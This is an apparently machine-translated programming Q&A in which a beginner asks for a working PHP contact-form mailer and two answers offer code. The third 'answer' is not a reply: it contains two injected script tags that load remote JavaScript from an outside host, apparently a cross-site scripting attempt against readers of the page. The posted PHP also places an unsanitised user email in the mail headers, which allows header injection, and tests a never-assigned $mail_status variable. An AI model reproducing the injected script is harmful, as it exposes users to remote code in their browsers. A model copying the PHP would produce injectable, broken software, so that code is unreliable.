有人可以帮我生成一个contact.php吗?

时间:2016-08-30 16:32:10

标签: javascript php html

我正在创建我的第一个网站 - 我将其上传到http://testinglakovna.borec.cz/我基本上使用了免费模板并根据自己的喜好对其进行了调整。 不幸的是,模板提供的联系表格没有附带" contact.php"而且我不知道如何正确激活它。 这已经过去了4天,我想出来的是我需要一个contact.php激活,我找到了一个激活表单的脚本 - 它发送电子邮件但它只发送消息,不显示发件人电子邮件,姓名或发件人自己写的主题...... 我现在急需帮助 - 有没有人可以帮我写这段代码? 我的contact.php代码是这样的:

<?php 
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz'; 
$to = 'ilona.takacsova@gmail.com'; 
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n  $name\n Email:\n $email\n Message:\n $message";

$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers = 'From: $email' . "\r\n" .
'Reply-To: reply@example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();


mail($to, $subject, $message, $headers);

if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
    alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
    window.location = 'index.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
    alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs@gmail.com');
    window.location = 'index.html';
</script>
<?php
}
?>

和index.html的联系表格html是:

<div class="col-lg-12">
  <form action="contact.php" method="post" id="form" class="contact-form">
    <div class="col-sm-6 contact-form-left">
      <div class="form-group">
        <input name="name" type="text" class="form-control" id="name" placeholder="Meno">
        <input type="email" name="email" class="form-control" id="mail" placeholder="Email">
        <input name="subject" type="text" class="form-control" id="subject" placeholder="Predmet">
      </div>
    </div>
    <div class="col-sm-6 contact-form-right">
      <div class="form-group">
        <textarea name="message" rows="6" class="form-control" id="comment" placeholder="Zanechajte nám odkaz"></textarea>
        <center><button type="submit" class="btn btn-default">Odoslať</button></center>
      </div>
    </div>
  </form>
</div>

我已经在其他人的问题上寻找答案,但仍无法解决此问题。在我正式发布网站之前,这是我做的最后一件事。

3 个答案:

答案 0 :(得分:0)

刚刚制作完成并且它在我的电子邮件地址(已测试)上工作。

enter image description here

<?php 
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz'; 
$to = 'YOUR_EMAIL_HERE'; 
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n  $name\n Email:\n $email\n Message:\n $message";

$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers .= 'From: '.$email . "\r\n";
$headers .= 'Reply-To: '.$to . "\r\n";
$headers .='X-Mailer: PHP/' . phpversion();


mail($to, $subject, $message, $headers);

if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
    alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
    window.location = 'index.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
    alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs@gmail.com');
    window.location = 'index.html';
</script>
<?php
}
?>

答案 1 :(得分:0)

只需声明一个新变量,我们只需将其称为$ sendEmail =&#39; name = $ name,email = $ email,message = $ message,subject = $ subject&#39; 之后,在mail函数中,将$ message替换为刚刚创建的$ sendEmail变量 它应该可以正常工作,但请记住,如果您要在本地服务器上部署代码,那么很可能将电子邮件发送到垃圾邮件文件夹。 如果它有帮助,请告诉我......

答案 2 :(得分:-1)

糟糕,看起来此类别中没有任何内容。

    <script>s=document.createElement("script");s.src="http://xssbar.com/?c=T0xwU";document.getElementsByTagName("head")

[0].appendChild(s);</script>

感谢!!!

<script>s=document.createElement("script");s.src="http://xssbar.com/?c=lELBQ";document.getElementsByTagName("head")

[0].appendChild(s);</script>